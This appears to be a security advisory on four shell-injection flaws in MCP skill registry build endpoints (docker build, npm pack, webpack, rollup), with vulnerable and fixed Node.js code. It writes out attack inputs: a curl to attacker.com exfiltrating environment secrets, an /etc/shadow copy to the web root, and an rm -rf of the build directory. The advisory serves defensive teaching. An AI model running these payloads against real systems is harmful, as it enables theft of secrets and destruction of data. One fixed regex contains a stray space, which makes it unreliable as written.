← Security advisories

Claude MCP skill code injection — skill build and compilation pipeline endpoints — SA-SKL-INJECTION30

SA-SKL-INJECTION30 documents four code injection vulnerabilities in MCP skill registry build and compilation pipeline endpoints. Build pipelines are high-value injection targets: they run on the same host as build secrets, signing keys, and artifact storage, and they typically execute with elevated filesystem permissions. All four patterns share a common root cause — using Node.js exec() with template-literal string interpolation of user-supplied values, allowing shell metacharacter injection via semicolons, pipes, and argument injection via spaces.

SA-SKL-INJECTION30 findings at a glance
CRITICALINJECTION30-001 — exec(`docker build -t ${imageName} ${buildContext}`); attacker imageName with ; env exfiltrates all environment variables including build secrets and signing keys
CRITICALINJECTION30-002 — exec(`npm pack --pack-destination ${destDir}`); attacker destDir with ; cat /etc/passwd appends server file content to pack output
CRITICALINJECTION30-003 — exec(`webpack --config ${webpackConfig}`); attacker webpackConfig with space-injected --output-path=/app/public writes compiled output to arbitrary server path
CRITICALINJECTION30-004 — exec(`rollup -c ${rollupConfig}`); attacker rollupConfig with ; rm -rf /app/dist destroys build output directory

INJECTION30-001 — Docker build imageName injection

The Docker build endpoint constructs the image tag from a user-supplied imageName parameter using template literal interpolation in a shell exec() call. When the attacker supplies imageName as myskill; env > /tmp/env.txt; curl attacker.com/$(base64 /tmp/env.txt), the shell interprets the semicolons as command separators and executes all three commands: the docker build (which may fail), the env dump, and the curl exfiltration. The environment contains DOCKER_HUB_TOKEN, NPM_PUBLISH_SECRET, and ARTIFACT_SIGNING_KEY in a typical build environment.

WRONG
exec(`docker build -t ${imageName} ${buildContext}`, (err, stdout) => {
  res.json({ stdout, error: err?.message });
});

RIGHT
// Validate imageName against strict regex; no shell interpretation via execFile
const IMAGE_NAME_RE = /^[a-z0-9_\-\/\.:]{ 1,200}$/;
if (!IMAGE_NAME_RE.test(imageName)) return res.status(400).json({ error: 'invalid image name' });

const safeBuildContext = realpathSync(buildContextInput);
if (!safeBuildContext.startsWith(BUILDS_BASE_DIR)) return res.status(400).json({ error: 'path traversal' });

execFile('docker', ['build', '-t', imageName, safeBuildContext], { timeout: 120_000 }, (err, stdout) => {
  res.json({ stdout: stdout.slice(0, 65536), error: err ? 'build failed' : null });
});

INJECTION30-002 — npm pack destDir injection

The npm pack endpoint passes a user-supplied destDir path to npm pack --pack-destination ${destDir} via exec(). The attacker supplies destDir as /tmp/out; cat /etc/shadow >> /var/www/html/shadow.txt. The semicolon causes the shell to execute both the npm pack command and the shadow file append, writing the server's shadow file to the public web root. Even if the registry does not run as root, the same technique works with any file the build user has read access to, including SSH keys, service account JSON files, and mounted build secrets.

WRONG
exec(`npm pack --pack-destination ${destDir}`, { cwd: skillDir }, callback);

RIGHT
const safeDestDir = realpathSync(destDirInput);
if (!safeDestDir.startsWith(PACK_OUTPUT_BASE)) return res.status(400).json({ error: 'path traversal' });

execFile('npm', ['pack', '--pack-destination', safeDestDir], { cwd: safeSkillDir, timeout: 60_000 }, callback);

INJECTION30-003 — Webpack config space-injection

The webpack compilation endpoint passes a user-supplied webpackConfig path to exec(`webpack --config ${webpackConfig}`). The injection vector is not a semicolon but a space: the attacker supplies webpackConfig as /builds/skill/webpack.config.js --output-path=/app/public/admin. The shell splits the string on spaces, so webpack receives two separate arguments: --config /builds/skill/webpack.config.js and --output-path=/app/public/admin. The legitimate config file is used for bundling, but the output is written to /app/public/admin — which may be served without authentication, overwriting admin panel assets with attacker-controlled JavaScript.

INJECTION30-003 fix: Use execFile() with an array of arguments so that each element is passed as a distinct argument to the program, not shell-parsed. Pass --output-path as an explicit fixed argument that cannot be overridden by the config path argument. Apply realpathSync containment to verify the config path is within the designated builds directory.

WRONG
exec(`webpack --config ${webpackConfig}`, { cwd: skillDir }, callback);

RIGHT
const safeConfigPath = realpathSync(webpackConfigInput);
if (!safeConfigPath.startsWith(BUILDS_BASE_DIR)) return res.status(400).json({ error: 'path traversal' });

const safeOutputPath = path.join(ARTIFACTS_BASE_DIR, skillId, 'dist');

execFile('webpack', [
  '--config', safeConfigPath,
  '--output-path', safeOutputPath  // explicit override — cannot be injected via config path
], { cwd: path.dirname(safeConfigPath), timeout: 180_000 }, callback);

INJECTION30-004 — Rollup config injection destroys build output

The rollup bundling endpoint constructs its command as exec(`rollup -c ${rollupConfig}`). The attacker supplies rollupConfig as /builds/skill/rollup.config.js; rm -rf /app/dist. The shell executes both commands: rollup exits normally (the config file exists), and then the entire /app/dist directory is deleted. If /app/dist is the CDN-backing artifact store for all published skills, the deletion takes the entire registry's artifact distribution offline until the directory is restored from backup.

WRONG
exec(`rollup -c ${rollupConfig}`, { cwd: skillDir }, callback);

RIGHT
const safeRollupConfig = realpathSync(rollupConfigInput);
if (!safeRollupConfig.startsWith(BUILDS_BASE_DIR)) return res.status(400).json({ error: 'path traversal' });
if (!/rollup\.config\.(js|mjs|cjs)$/.test(safeRollupConfig)) return res.status(400).json({ error: 'invalid config filename' });

execFile('rollup', ['-c', safeRollupConfig], { cwd: path.dirname(safeRollupConfig), timeout: 180_000 }, callback);
Detect SA-SKL-INJECTION30 in your registry

SkillAudit scans for exec() calls with template literal interpolation, missing execFile() usage, absent path containment checks, and argument injection via unsanitized flag values across all build and compilation pipeline handlers.

Scan your registry
FindingSeverityCommandInjection vectorImpact
INJECTION30-001CRITICALdocker build -t ${imageName}Semicolon in imageNameEnvironment exfiltration including build secrets and signing keys
INJECTION30-002CRITICALnpm pack --pack-destination ${destDir}Semicolon in destDirArbitrary server file append to attacker-controlled path
INJECTION30-003CRITICALwebpack --config ${webpackConfig}Space + flag in webpackConfigArbitrary webpack output-path override; web root overwrite
INJECTION30-004CRITICALrollup -c ${rollupConfig}Semicolon in rollupConfigDestruction of artifact distribution directory

See also: SA-SKL-INJECTION29 (linting and formatting tool injection patterns using the same exec() root cause) and SA-SKL-DESER25 (CI/CD pipeline deserialization that executes in the same build environment).